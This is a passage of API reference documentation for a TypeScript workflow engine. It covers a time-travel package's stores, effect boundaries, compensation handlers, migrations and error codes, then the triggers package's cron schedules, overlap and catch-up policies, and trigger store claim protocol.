| `abandonForkIntents(staleBeforeMs)`                                  | In one write transaction, claims reserved intents older than `staleBeforeMs` and advances every pending claim stamp, then returns every reclaiming intent ordered by reservation time and child id, including earlier sweeps, until `forgetForkIntent` records lane removal. A late refused `createFork` resets even a forgotten intent to reclaiming, so the next sweep retries removal if its cleanup failed.                                                                                                                                                                                                                                                |
| `forgetForkIntent(childRunId, reclaimedAtMs)`                        | Records lane removal only when the current claim stamp equals `reclaimedAtMs` and the intent is not already forgotten. Stale acknowledgments and unknown or unreclaimed ids change nothing. The row stays counted for minting.                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `createFork(parentRunId, frame, childRunId?, override?, rebinding?)` | Branches a new run off a frame, copying the journal prefix and the attempts that existed there, and recording the `fork` edge. `override` replaces one copied step result in the same transaction; `rebinding` replaces the child's payload and carries named spawned children. The parent is untouched. A reclaiming or forgotten reservation is reset to reclaiming (clear `forgotten_at_ms`, strictly advance `reclaimed_at_ms`) before all other validation in the refusal transaction; `fence_lost` is raised after it commits, with no fork records written. A `childRunId` naming a run that already exists, the parent included, is refused `invalid`. |
| `recordReceipt(receipt)`                                             | Persists one compensation receipt against its audit row, before the journal range that effect belongs to is truncated.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |

Every method fails as `TimeTravelError`.

## MemoryTimeTravelStore

A `TimeTravelStore` held entirely in JavaScript objects: deterministic, needs
no database, and browser-safe.

```ts
const make: (options?: Options) => TimeTravelStore.Service & {
  readonly state: () => MemoryState
  readonly append: (record: JournalRecord) => void
}
const layer: (options?: Options) => Layer<TimeTravelStore.TimeTravelStore>
```

`Options` seeds the world with `records`, `edges`, `snapshots`, `liveRuns`,
`runOwners`, and `runStatuses`, and `failAt` injects an `unknown`-coded failure
at a named internal step so crash-recovery paths are reachable without
crashing. `JournalRecord` is one seeded record: `{ runId, seq, eventId,
lineageId?, payload, eventType? }`. `MemoryState` is the whole world as
`records`, `archived`, `edges`, `audits`, `receipts`, `snapshots`, `liveRuns`,
`runOwners`, `runStatuses`, and `forkIntents`, copied on every read.
`append(record)` writes one journal record after construction, standing in for
the journal writer a real run has; a second record at the same `(runId, seq)`
throws `invalid`.

## SqlTimeTravelStore

The durable store, over an injected SQLite or PostgreSQL `SqlClient`.

```ts
const migrate: Effect<void, unknown, SqlClient>
const make: Effect<TimeTravelStore.Service, TimeTravelError, DurableWriter | SqlClient>
const layer: Layer<TimeTravelStore.TimeTravelStore, TimeTravelError, DurableWriter | SqlClient>
```

Building `make` applies pending time-travel migration rungs over a database
the journal and run-store ladders have already migrated. Missing
`flows_journal_events` or `flows_runs` fails with a `TimeTravelError` naming
the table. Migration failures also use this typed channel and retain their
cause. Use `Migrations.run` for the complete durable schema on a fresh
database. Writes go through `DurableWriter`.

## EffectBoundary

The producer side: journal an effect so a rewind can assess it.

```ts
const eventType: "flows.time-travel.effect-boundary"

const guard: <A, E, R>(
  description: Description,
  action: Effect<A, E, R>
) => Effect<A, E | TimeTravelError, R | Journal.Journal>

const decodeEntry: (entry: JournalEvent.Entry) => Effect<EffectRecord | undefined, TimeTravelError>
const fromRecords: (records: ReadonlyArray<EffectRecord>) => Effect<ReadonlyArray<EffectRecord>, TimeTravelError>
const fromEntries: (entries: ReadonlyArray<JournalEvent.Entry>) => Effect<ReadonlyArray<EffectRecord>, TimeTravelError>
```

`EffectTier` is `"sealed" | "compensable" | "irreversible"`. `EffectStatus` is
`"intended" | "succeeded" | "unknown"`.

`Description` is what a caller supplies before an action crosses its boundary:
`id`, `kind`, `tier`, `runId`, `lineageId`, `owner`, `sourceId`, `sourceSeq`,
and the optional `input`, `cacheKey`, `changeId`, `idempotencyKey`,
`compensation`, `residue`, `durableBoundary`, `providerStream`, `attempt`,
`nonce`, and `metadata`. `EffectRecord` is the normalized record read back from
the journal, carrying the same identity plus `status`, `seq`, and `output`.

`decodeEntry` answers `undefined` for an entry of another event type, so a
projection over a shared journal stays total, and fails `invalid` for a corrupt
payload under this module's own event type.

## CompensationHandlers

The contribution door for compensation handlers. The registry behind them stays
internal.

```ts
class CompensationHandlers extends Context.Service<CompensationHandlers, ReadonlyArray<Handler>>()(
  "@smthrs/time-travel/CompensationHandlers"
) {}

const layer: (handlers: ReadonlyArray<Handler>) => Layer<CompensationHandlers>
const layerNoop: Layer<CompensationHandlers>
```

The service is optional. A composition with no irreversible adapters provides
nothing, and every crossed effect assesses as blocking, which is the safe
default.

```ts
interface Handler {
  readonly kind: string
  readonly tier: EffectTier
  readonly requiresIdempotencyKey?: boolean | undefined
  readonly compensation?: string | undefined
  readonly residue: (effect: EffectRecord) => string
  readonly assess?: ((effect: EffectRecord) => Effect<Assessment, TimeTravelError>) | undefined
  readonly revert: (effect: EffectRecord) => Effect<unknown, TimeTravelError>
  readonly rollback: (effect: EffectRecord, receipt: unknown) => Effect<void, TimeTravelError>
}
```

`Classification` is `"revertible" | "warning" | "blocking"`. `Assessment` is
`{ classification, reason, residue }`, and a custom `assess` result is decoded
against it before a rewind acts on it: a result that does not decode assesses
as `blocking`.

## Migrations

The schema as fixed rungs on the shared migration ladder. Store construction
uses this same ladder and skips recorded rungs. Published IDs remain stable:
`5001_initial`, `5002_archive_generation`, `5003_lineage_probes`, and
`5004_plan_digest`. The last rung also accepts databases where an older
store build already added `plan_digest` outside the ledger.

| Export  | Signature                                                                                            |
| ------- | ---------------------------------------------------------------------------------------------------- |
| `set`   | `DatabaseMigrations.MigrationSet` with namespace `time-travel` at id block `5000`.                   |
| `sets`  | `ReadonlyArray<MigrationSet>`: everything `@smthrs/engine-store` composes, then `set`.               |
| `run`   | `Effect<ReadonlyArray<readonly [id: number, name: string]>, MigrationError \| SqlError, SqlClient>`. |
| `layer` | A layer that installs the complete schema before exposing the database.                              |

The block is above `@smthrs/plan`'s `4000`, which is what keeps the set runnable
on a database the engine ladder already migrated. The journal owns
`flows_journal_events`; this set owns the lineage indexes on that table.

## Failure behaviour

Every operation fails as a `TimeTravelError` discriminated by a closed `code`,
so a caller's branch stays exhaustive.

| Code                  | Raised by                      | Means                                                                                                                                                                                                                              |
| --------------------- | ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `busy`                | `rewind`, recovery             | Another owner holds the run, the journal tail moved under the claim, or this operation lost its claim before it could finish. Retryable.                                                                                           |
| `live_parent`         | `fork`                         | The parent run, or an ancestor of it, is running, claimed, or owned, so it has no settled prefix to copy.                                                                                                                          |
| `live_child`          | `rewind`                       | A descendant the truncation would cut history out from under is still executing, and the policy is `"block"`.                                                                                                                      |
| `not_found`           | all verbs                      | The run, the frame, or the audit does not address anything: a coordinate past the journal tail, a lineage this run is not on, or a run row that is gone.                                                                           |
| `invalid`             | all verbs                      | A caller-supplied option is malformed, or a durable payload does not decode. Refused before the operation touches anything.                                                                                                        |
| `already_crossed`     | `EffectBoundary.guard`, `fork` | An effect already crossed its durable boundary, or the fork frame lies inside an irreversible attempt without a completion receipt.                                                                                                |
| `rate_limited`        | `rewind`                       | The `Options.rateLimit` limiter the service was built with rejected the attempt. The audit row records the decision.                                                                                                               |
| `compensation_failed` | `rewind`, recovery             | A rollback handler or the workspace restore failed, so the rewind stopped rather than leave the world half reverted.                                                                                                               |
| `irreversible`        | `rewind`                       | An effect in the truncated range cannot be undone at all: no handler, or a sealed result whose cache entry is gone.                                                                                                                |
| `fence_lost`          | `rewind`                       | The caller's ownership of the run was superseded before a mutation committed, so the mutation was refused rather than written behind the live owner.                                                                               |
| `limit_exceeded`      | all verbs                      | The operation would read more journal entries than `maxHistoryEntries` allows: the prefix a replay folds, the unanchored entries a fork or rewind refreshes, or the suffix it assesses. A rewind refuses before it claims the run. |
| `unknown`             | all verbs                      | The store, the journal, or an unmapped host failure. The original cause is attached.                                                                                                                                               |

An error's `cause` is encoded with the error, so the package never attaches a
whole effect record or a whole parse issue to one: a blocking assessment travels
as its identity, classification, and reason, never as the effect's `input`,
`output`, or residue. Replay scope refusals carry only `runId`, `seq`, `eventId`,
`eventType`, and the expected run and lineage, without journal payload or metadata.

## Limits

- The durable store runs on the SQL client it is given, SQLite or PostgreSQL.
  The client's dialect selects its CHECK constraints, JSON extraction, and
  recursive lineage queries; the migration rungs are the same on both. Other
  dialects, including MySQL, are unsupported. Archive writes use strict
  `INSERT` keyed by `(run_id, generation, seq)`; a collision rolls back the
  archive transaction.
- Journal reads page at 100 entries by default. `pageSize` is a throughput knob
  and never changes a derived answer.
- Every read is capped by `maxHistoryEntries`. The default is 100,000 entries;
  `TimeTravel.layerWith({ maxHistoryEntries })` sets the service default and
  each verb's options override it per call, and a value that is not a positive
  integer is refused `invalid`. A replay streams its fold and stops at the
  frame, so it retains nothing below it; a fork or rewind retains only the
  effect-boundary records of the suffix it assesses. Validation still scans a
  run's journal to its tail to find the frame, without retaining it.
- The anchor refresh a fork or rewind runs before it reads anchors resumes from
  the last anchor per lineage in `flows_time_travel_snapshots` and stops at the
  frame, so it reads only the entries above the run's anchored high-water mark
  and at or below the frame, counted against the same `maxHistoryEntries`. It
  writes each page's anchors in one store write, so a run whose anchors are
  current reads one page and writes nothing. A fork of a live parent is refused
  before the refresh runs. A rewind revalidates the tail under its claim from
  one page at the expected tail, never a second scan of the journal.
- `Projection.reduce` receives store entries by reference. Treat them as
  read-only: mutating one rewrites the evidence the fold is reading.
- The memory store is a behavioural peer of the SQL store for the answers both
  give, not a durable one. It holds everything in JavaScript objects.

## Composition

`TimeTravel.layer` requires `TimeTravelStore`, `Journal`, `RunStore`,
`CacheStore`, and `Jj`, and nothing else. Time travel is a library API, also
exposed as `smthrs runs inspect|replay|fork|rewind`; see the
[CLI reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/reference/cli/README.md). MCP exposes these verbs
only through the unified command tools.

The engine is the producer of everything the service reads.
[`@smthrs/engine-store`](/docs/reference/api/engine-store/) stamps `meta.lineageId` on every
record it writes, journals an anchor per attempt, and writes
effect-boundary records around an irreversible dispatch and around a child
spawn. Anchors reach `flows_time_travel_snapshots` through a projection of those
journal records, so the engine never writes this package's tables and the
dependency arrow stays one way.

`SqlTimeTravelStore.migrate` creates `flows_time_travel_snapshots`,
`flows_time_travel_edges`, `flows_time_travel_audits`,
`flows_time_travel_receipts`, `flows_time_travel_archive`, and
`flows_time_travel_fork_intents`. It also initializes `flows_journal_generations`,
the journal generation counters bumped on truncation, and indexes
`meta_json.lineageId` on the journal's own `flows_journal_events` so a
lineage-filtered read is not a full run scan. `Migrations` publishes the fixed
rungs at id block `5000`; store construction applies the same recorded set.

With no `CompensationHandlers` provided, a crossed record that is not sealed
resolves to no handler, classifies as `blocking`, and the rewind fails
`irreversible`. That is the safe default.

A handler is held to what the evidence recorded. An effect that recorded a
`compensation` descriptor resolves only to the handler declaring the same
one, so an adapter swapped in after a restart never compensates evidence
another implementation left behind; an effect that recorded none resolves by
`kind`. A handler with `requiresIdempotencyKey` blocks and never reverts an
effect that recorded no key, a custom `assess` result is decoded against
`Assessment` and assesses `blocking` when it does not decode, and a rollback
refuses a receipt whose tier or descriptor the handler does not match.

After a successful archive transaction, `SqlTimeTravelStore.archiveAndTruncate`
invalidates cached journal identities and allocation floors for the parent and
attached descendants. All live `SqlJournal` instances sharing its SQL client
observe the reset, so archived lossy source identities can be emitted again.

## Durable failure warnings

If a rewind or recovery cannot persist its failure audit, it logs at Warning
with the storage cause and `runId`, `auditId`, and `step` annotations. The
original failure or recovery outcome remains unchanged. An unsuccessful
`EffectBoundary.guard` whose `unknown` boundary record cannot be appended
logs the append cause with `runId` and the effect ID as `step`, then preserves
the action's original failure or interruption.

---

# @smthrs/triggers
https://smithers.sh/docs/reference/api/triggers/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/triggers/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/triggers/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/triggers/docs)

> **Related APIs:** [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/database`](/docs/reference/api/database/)

`@smthrs/triggers` exports twelve modules from its root entry point, and each is
also importable from `@smthrs/triggers/<Module>`:

```ts
import { Scheduler, Trigger, TriggerStore } from "@smthrs/triggers"
// or
import * as Scheduler from "@smthrs/triggers/Scheduler"
```

The in-memory store for tests is a thirteenth module at
`@smthrs/triggers/test/TestTriggers`.

Services and tags are Effect constructs: a `Layer` provides a service, and an
Effect reads it from context. Launching goes through
[`@smthrs/control`](/docs/reference/api/control/), and persistence through the SQL client and
durable writer of [`@smthrs/database`](/docs/reference/api/database/).

Install it with `npm install @smthrs/triggers@next effect`. See
[Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/triggers/docs/installation.md) for its requirements.

## Example

```ts
import * as Trigger from "@smthrs/triggers/Trigger"

const nightly = Trigger.make({
  id: "nightly-report",
  flowId: "reports/nightly",
  input: { channel: "#ops" },
  cron: "0 3 * * *",
  timezone: "UTC",
  overlap: "skip",
  enabled: true
})
```

## Trigger

The trigger declaration: which flow to run, with what input, on what schedule.

### Trigger.Trigger

```ts
const Trigger: Schema.Struct<{
  id: Schema.NonEmptyString
  flowId: Schema.NonEmptyString
  input: Schema.Json
  cron: Schema.NonEmptyString
  timezone: Schema.optional<Schema.NonEmptyString>
  overlap: Schema.Literals<["skip", "buffer-one", "supersede"]>
  catchUp: Schema.Literals<["none", "one", "all"]>
  maxCatchUp: Schema.Int
  enabled: Schema.Boolean
}>
type Trigger = typeof Trigger.Type
```

| Field        | Meaning                                                                                  |
| ------------ | ---------------------------------------------------------------------------------------- |
| `id`         | The trigger's identity. Registering the same id replaces the row and bumps its revision. |
| `flowId`     | The flow a launch names. This package never resolves it.                                 |
| `input`      | The flow's input, as JSON.                                                               |
| `cron`       | The cron expression. Validated for satisfiability, not only for shape.                   |
| `timezone`   | An optional IANA timezone name.                                                          |
| `overlap`    | Decoding default `"skip"`.                                                               |
| `catchUp`    | Decoding default `"none"`.                                                               |
| `maxCatchUp` | Decoding default `0`. An integer in `[0, Schedule.maxCatchUpLimit]`.                     |
| `enabled`    | A disabled trigger is listed and never claimed.                                          |

`input` is `Schema.Json` rather than `Schema.Unknown` because the store persists
it with `JSON.stringify` into a `NOT NULL` column. The schema refuses what that
call would drop or rewrite: `undefined`, `NaN`, a `Date`, and a function each
fail as `invalid_trigger` with `TriggerError.path` set to `input`, at the
declaration boundary where the caller can still see which field is wrong.

Enumerable getters are accepted when their values are JSON. They are evaluated
during decoding and again during SQL serialization. SQL registration takes an
eager serialized snapshot before returning its Effect; later changes to the
getter's source do not change that snapshot. Use plain JSON values for stable
input, since a getter can produce different values or throw on a later read.

`Trigger.Overlap` and `Trigger.CatchUp` are re-exports of the schemas and types
of the same names from `Schedule`.

### Trigger.make

```ts
const make: (input: unknown) => Effect.Effect<Trigger, TriggerError>
```

Decodes the declaration, applies the three policy defaults, and validates the
schedule. A shape failure is `invalid_trigger` with `TriggerError.path` naming
the offending field; a schedule failure is `invalid_cron` or
`unsatisfiable_cron`.

## Schedule

The reusable schedule half of a declaration, shared by anything that carries a
cron expression and the two policies.

### Schedule.Schedule

```ts
const Schedule: Schema.Struct<{
  cron: Schema.NonEmptyString
  timezone: Schema.optional<Schema.NonEmptyString>
  overlap: Schema.Literals<["skip", "buffer-one", "supersede"]>
  catchUp: Schema.Literals<["none", "one", "all"]>
  maxCatchUp: Schema.Int
}>
type Schedule = typeof Schedule.Type
```

`Trigger.Trigger` spreads these fields, so the two declarations cannot drift.

### Schedule.Overlap and Schedule.CatchUp

```ts
const Overlap: Schema.Literals<["skip", "buffer-one", "supersede"]>
type Overlap = typeof Overlap.Type

const CatchUp: Schema.Literals<["none", "one", "all"]>
type CatchUp = typeof CatchUp.Type
```

### Schedule.maxCatchUpLimit

```ts
const maxCatchUpLimit: number
```

The greatest catch-up bound a schedule may declare, equal to
`Cron.maxOccurrences`. A schedule may not owe more occurrences than one
occurrence search returns, so the ceiling is the search's own cap.

### Schedule.validate

```ts
const validate: <A extends { readonly cron: string; readonly timezone?: string | undefined }>(
  declaration: A
) => Effect.Effect<A, TriggerError>
```

Refuses a declaration whose cron expression is malformed or which the calendar
never satisfies, and answers with the declaration unchanged otherwise. Every
declaration path runs it, so `0 0 30 2 *` is refused where it is written rather
than at the tick that would have fired it.

### Schedule.make

```ts
const make: (input: unknown) => Effect.Effect<Schedule, TriggerError>
```

Decodes and validates a schedule on its own. A shape failure is
`invalid_schedule`.

## Cron

Typed wrappers around Effect's cron. Every search here is bounded, and every
exhausted search arrives as a typed failure rather than as a defect.

### Cron.Cron

```ts
interface Cron {
  readonly expression: string
  readonly timezone?: string | undefined
  readonly value: EffectCron.Cron
}
```

The parsed expression is kept beside the text it came from, so a declaration
round-trips through the store unchanged.

### Cron.parse

```ts
const parse: (
  expression: string,
  timezone?: string
) => Effect.Effect<Cron, TriggerError>
```

Parses an expression in an optional timezone. Reports a malformed expression as
`invalid_cron` and one the calendar never satisfies as `unsatisfiable_cron`.
The satisfiability probe searches forward from the current instant, which is
the same search every tick performs.

### Cron.next

```ts
const next: (cron: Cron, from: Date) => Effect.Effect<Date, TriggerError>
```

The first occurrence strictly after `from`.

### Cron.previousAtOrBefore

```ts
const previousAtOrBefore: (cron: Cron, at: Date) => Effect.Effect<Date, TriggerError>
```

The latest occurrence at or before `at`. When `at` itself matches, the answer is
that instant with milliseconds zeroed, so an occurrence is the boundary rather
than the sub-second offset the caller observed it at.

### Cron.occurrencesBetween

```ts
const occurrencesBetween: (
  cron: Cron,
  from: Date,
  to: Date,
  limit?: number | undefined
) => Effect.Effect<ReadonlyArray<Date>, TriggerError>
```

The occurrences in `(from, to]`, in order. `from` is exclusive and `to` is
inclusive.

A stated `limit` caps the result silently and must be a non-negative safe
integer; anything else fails with `invalid_options` and `path: "limit"`, and 0
returns nothing. With no stated limit, the search fails with
`catch_up_bound_exceeded` when the interval holds more than
`Cron.maxOccurrences`. A caller with its own bound passes one more than that
bound and compares the length, the way `CatchUp.occurrences` does.

### Cron.maxOccurrences

```ts
const maxOccurrences: number
```

1000. The greatest number of occurrences one search returns when its caller
      states no limit of its own.

## Overlap

The pure overlap decision, over explicit state.

### Overlap.State and Overlap.Action

```ts
interface State {
  readonly running: boolean
  readonly pending?: number | undefined
  readonly due: number
}

type Action = "fire" | "skip" | "buffer" | "supersede"
```

### Overlap.decide

```ts
const decide: (policy: Trigger.Overlap, state: State) => Action
```

Answers `"fire"` whenever no run is in flight, whatever the policy says.
Otherwise `skip` answers `"skip"`, `buffer-one` answers `"buffer"`, and
`supersede` answers `"supersede"`.

### Overlap.pendingAfter

```ts
const pendingAfter: (state: State) => number
```

The occurrence left buffered after this decision: the later of the currently
pending occurrence and the one now due. The buffer is a coalescing slot, not a
queue.

## CatchUp

The pure catch-up computation.

### CatchUp.occurrences

```ts
const occurrences: (
  policy: Trigger.CatchUp,
  maxCatchUp: number,
  lastFiredAt: Date | undefined,
  now: Date,
  cron: Cron.Cron
) => Effect.Effect<ReadonlyArray<Date>, TriggerError>
```

The occurrences a trigger owes since it last fired, oldest first.

- `none` owes nothing, `one` owes only the most recent, and `all` owes every
  missed occurrence.
- A `lastFiredAt` of `undefined` owes nothing under every policy.
- `maxCatchUp` is validated before any policy branch, so an unusable bound is
  refused even where the policy owes nothing. It must be a non-negative safe
  integer.
- Every policy answers to `maxCatchUp`, `one` included: a bound of zero says no
  occurrence may be caught up, so a missed occurrence under `one` is
  `catch_up_bound_exceeded` exactly as three missed occurrences under `all` are.

The scheduler dispatches these occurrences subject to overlap. A launched
occurrence holds the trigger until its run settles, so `all` with `skip` can
drop work and
`all` with `buffer-one` can coalesce intermediate occurrences. Use a durable
queue or a flow that processes its own interval backlog when every boundary
must be processed.

The scheduler logs a warning annotated with the trigger id and abandons the
backlog when catch-up exceeds its bound. It still dispatches the current
occurrence subject to overlap, on the first poll after a restart and on every
later poll.

The bound counts every boundary since the last dispatch, the one that just
passed included, and a restart and a stalled scheduler count the same
boundaries. A tick where only that one boundary passed fires it under any
bound.

## TriggerStore

The durable state contract: registration, listing, the claim protocol, and
results.

### TriggerStore.Registered

```ts
interface Registered extends Trigger {
  readonly revision: number
  readonly lastFiredAt?: number | undefined
}
```

`revision` fences concurrent edits. `lastFiredAt` is the cursor catch-up resumes
from, and is absent until an occurrence is recorded.

### TriggerStore.Fire, ClaimFire, and Claim

```ts
interface Fire {
  readonly triggerId: string
  readonly occurrence: number
}

interface ClaimFire extends Fire {
  readonly expectedRevision: number
  readonly resumeBuffered?: boolean | undefined
}

type Claim =
  | { readonly claimed: false }
  | { readonly claimed: true; readonly action: "skip" | "buffer" }
  | {
    readonly claimed: true
    readonly action: "fire" | "supersede"
    readonly reservationId: string
    readonly activeRunId?: string | undefined
  }
```

An occurrence is addressed by its occurrence number. An unfinished occurrence
can be claimed again after lease expiry or launch compensation; its runner
idempotency key stays the same across attempts.

`ClaimFire` deliberately carries no overlap policy. A claim applies the policy
stored on the trigger row, read inside the same transaction, so a caller holding
a stale snapshot cannot fire a trigger that has since been disabled, cannot
point it at a different flow, and cannot supersede a run the stored declaration
says to leave alone. `expectedRevision` is the fence.

The `Claim` shapes are separate so a caller cannot read a reservation id that
was never written. A claim that hands out work always names its reservation; a
claim that only records a decision names none. A `supersede` claim also names
the run it displaced.

### TriggerStore.Outcome and Result

```ts
type Outcome = "launched" | "completed" | "skipped" | "buffered" | "superseded" | "failed"

type Result =
  & Fire
  & { readonly error?: string | undefined }
  & (
    | { readonly outcome: "launched"; readonly runId: string; readonly reservationId: string }
    | {
      readonly outcome: Exclude<Outcome, "launched">
      readonly runId?: string | undefined
      readonly reservationId?: string | undefined
    }
  )
```

A launched result requires a non-empty `runId` and the exact `reservationId`
returned by its claim. Missing, empty, or whitespace-only run ids fail with
`invalid_options` at `runId`. Launches commit only while that reservation owns
an unfinished fire (`null` or `buffered`). Stale ownership or an impermissible
fire transition fails with `stale_owner` without changing the ledger, cursor,
lease, or active run. Terminal results may omit `runId` to settle the run
already recorded for that occurrence. Before launch, pass `reservationId` to
fence settlement to a particular attempt. Repeated terminal results and
claim decisions leave the existing row unchanged.

`resultRefusal(result, fire, activeRunId)` returns a `TriggerError` for invalid
or stale results, or `undefined` for a permissible transition. Store adapters
call this helper inside their atomic write before mutating state.

### TriggerStore.Service

```ts
interface Service {
  readonly register: (trigger: Trigger) => Effect.Effect<Registered, TriggerError>
  readonly get: (triggerId: string) => Effect.Effect<Option.Option<Registered>, TriggerError>
  readonly list: () => Effect.Effect<ReadonlyArray<Listed>, TriggerError>
  readonly listEnabled: () => Effect.Effect<ReadonlyArray<Registered>, TriggerError>
  readonly claimFire: (fire: ClaimFire) => Effect.Effect<Claim, TriggerError>
  readonly claimPending: (fire: {
    readonly triggerId: string
    readonly expectedRevision: number
  }) => Effect.Effect<Option.Option<{ readonly occurrence: number; readonly claim: Claim }>, TriggerError>
  readonly recordResult: (result: Result) => Effect.Effect<void, TriggerError>
  readonly restorePending: (fire: Fire & { readonly reservationId: string }) => Effect.Effect<void, TriggerError>
  readonly setPending: (fire: Fire) => Effect.Effect<void, TriggerError>
  readonly activeRun: (triggerId: string) => Effect.Effect<Option.Option<string>, TriggerError>
  readonly activeOccurrence: (
    triggerId: string,
    runId: string
  ) => Effect.Effect<Option.Option<number>, TriggerError>
  readonly clearActive: (triggerId: string, runId: string) => Effect.Effect<void, TriggerError>
  readonly history: (query?: HistoryQuery) => Effect.Effect<HistoryPage, TriggerError>
  readonly pruneFires: (options: { readonly olderThan: number }) => Effect.Effect<number, TriggerError>
  readonly inspect: (triggerId: string) => Effect.Effect<Held, TriggerError>
  readonly heartbeat: (host: string) => Effect.Effect<void, TriggerError>
  readonly lastHeartbeat: () => Effect.Effect<Option.Option<Heartbeat>, TriggerError>
}
```

| Method             | Contract                                                                                                                                                                                                           |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `register`         | Upsert. A first write is revision 1; every replacement increments. Re-validates the declaration.                                                                                                                   |
| `get`              | One trigger, or `None`.                                                                                                                                                                                            |
| `list`             | Every trigger, ordered by id, as `Listed` rows. This is what a scheduler tick polls. A row that cannot be decoded carries the failure instead of the declaration, so one corrupt row cannot fail the listing.      |
| `listEnabled`      | Every enabled trigger, ordered by id. Not a due-time query: due-ness is the scheduler's cron computation.                                                                                                          |
| `claimFire`        | The claim protocol for one occurrence.                                                                                                                                                                             |
| `claimPending`     | Reads the buffered occurrence, applies the same claim rules, and clears the buffer only when the decision consumes it, in one transaction.                                                                         |
| `recordResult`     | Records how one occurrence ended and settles the trigger's active run and cursor.                                                                                                                                  |
| `restorePending`   | Atomically restores pending work and releases the matching unfinished reservation. Retains a predecessor only if its fire is still launched. Stale tokens fail with `stale_owner`; failed writes retain the lease. |
| `setPending`       | Buffers an occurrence, coalescing with any already pending.                                                                                                                                                        |
| `activeRun`        | The run id or launch reservation the trigger currently holds. Expires a stale reservation as a side effect.                                                                                                        |
| `activeOccurrence` | The occurrence owned by one active run or reservation. `lastFiredAt` cannot answer this, because later skipped and buffered occurrences advance that cursor while an older run remains active.                     |
| `clearActive`      | Compare-and-swap release of one run id.                                                                                                                                                                            |
| `history`          | The fire ledger, newest occurrence first, filtered and paged by a `HistoryQuery`. A limit that is not a positive safe integer is refused with `invalid_options` and `path` `"limit"`.                              |
| `pruneFires`       | Deletes settled ledger rows older than `olderThan` and answers how many. Keeps the buffered occurrence and the row naming the active run. A cutoff that is not a safe integer is refused with `invalid_options`.   |
| `inspect`          | The run or reservation and the buffered occurrence one trigger holds, read as the row has them. Expires nothing; `activeRun` is the read that expires a stale reservation.                                         |
| `heartbeat`        | Records that `host` polled the store at the store clock's current time. One row per host; a later poll overwrites.                                                                                                 |
| `lastHeartbeat`    | The newest heartbeat across every host, or `None` when no scheduler has ever polled. Equal times fall to the lower host name so the answer is one row.                                                             |

A claim, result, pending-state, or active-run method fails with
`unknown_trigger` when the row it addresses does not exist. `get` answers
`None` for an absent row and `register` creates one. `clearActive` is a
compare-and-swap that cannot tell a missing trigger from a run id that no
longer matches, so it stays a no-op for both. `history`, `pruneFires`,
`heartbeat`, and `lastHeartbeat` address the whole store.

Nothing else in the store deletes from the fire ledger: every claim inserts a
row and every result updates it. The scheduler calls `pruneFires` at most once
an hour with its `fireRetention`; a host that runs no scheduler and never calls
it keeps one row per occurrence for as long as the database lives.

### TriggerStore.FireRecord, HistoryQuery, HistoryPage, Held, Listed, and Heartbeat

```ts
interface FireRecord extends Fire {
  readonly outcome: Outcome | null
  readonly runId?: string | undefined
  readonly error?: string | undefined
}

interface HistoryQuery {
  readonly triggerId?: string | undefined
  readonly runId?: string | undefined
  readonly outcome?: Outcome | undefined
  readonly cursor?: Fire | undefined
  readonly limit?: number | undefined
}

interface HistoryPage {
  readonly items: ReadonlyArray<FireRecord>
  readonly nextCursor?: Fire | undefined
}

interface Held {
  readonly activeRunId?: string | undefined
  readonly pendingAt?: number | undefined
}

interface Listed extends Held {
  readonly triggerId: string
  readonly trigger: Result.Result<Registered, TriggerError>
}

const listed: (trigger: Registered, held?: Held) => Listed

interface Heartbeat {
  readonly host: string
  readonly tickedAt: number
}
```

A `FireRecord` is one row of the fire ledger. Its `outcome` is `null` between a
claim and its `recordResult`, the window in which a launch is reserved but not
yet reported. Every `HistoryQuery` filter narrows; `cursor` is the last record
of the previous page, so the page after it holds only older records; with no
`limit` the whole ledger answers in one page. `nextCursor` is present only when
the limit cut the page short. `Held.activeRunId` may be a launch reservation;
`isReservation` tells the two apart.

A `Listed` row is what `list` answers. `trigger` is an `effect/Result`: narrow
it with `Result.isFailure` before reading the declaration, because a row whose
stored input cannot be decoded is isolated there rather than failing the whole
listing. The held state travels with the row so a scheduler tick reads it once
instead of asking per trigger for a reservation and a buffered occurrence that
are not there. `listed(trigger, held)` builds a decoded row.

### TriggerStore history helpers

```ts
const historyLimit: (limit: number | undefined) => Effect.Effect<number | undefined, TriggerError>
const compareNewestFirst: (left: Fire, right: Fire) => number
const isAfterCursor: (record: Fire, cursor: Fire) => boolean
const historyPage: (records: ReadonlyArray<FireRecord>, limit: number | undefined) => HistoryPage
```

Both stores apply these, so swapping one for the other cannot change which
queries are refused, how equal occurrences of different triggers order
(descending trigger id, so a cursor names one position), or where a page ends.

### TriggerStore.TriggerStore

```ts
class TriggerStore extends Context.Service<TriggerStore, Service>()("flows/triggers/TriggerStore") {}
```

### TriggerStore reservation helpers

```ts
const reservationLeaseMs: number
const reservationPrefix: string
const reservationId: (triggerId: string, occurrence: number, attempt?: string) => string
const isReservation: (runId: string | undefined) => boolean
const reservationOccurrence: (runId: string) => number | undefined
```

`reservationPrefix` is `trigger-reservation:`, and `reservationId` appends the
trigger id, optional attempt, and occurrence. Store claims supply a fresh UUID
for each attempt, including retries. Use the token returned by the claim; do
not reconstruct it. The two-argument helper reads and constructs legacy ids.
`reservationLeaseMs` is 300,000 milliseconds, or
5 minutes, and both store implementations use it so swapping one for the other
cannot change recovery timing.

### TriggerStore.makeNoop and layerNoop

```ts
const makeNoop: (overrides?: Partial<Service>) => Service
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<TriggerStore>
```

Fails every method with `store` and a message naming the method. Overrides
replace individual methods, for a composition that must reach exactly one of
them.

## SqlTriggerStore

The SQLite implementation of `TriggerStore.Service`, with every write going
through the durable writer.

### SqlTriggerStore.make and layer

```ts
const make: Effect.Effect<
  TriggerStore.Service,
  TriggerError,
  DurableWriter | SqlClient.SqlClient
>

const layer: Layer.Layer<
  TriggerStore.TriggerStore,
  TriggerError,
  DurableWriter | SqlClient.SqlClient
>
```

Construction applies the package's migrations, so a host runs nothing itself. A
migration the migrator raises as a defect is caught and reported as `store`,
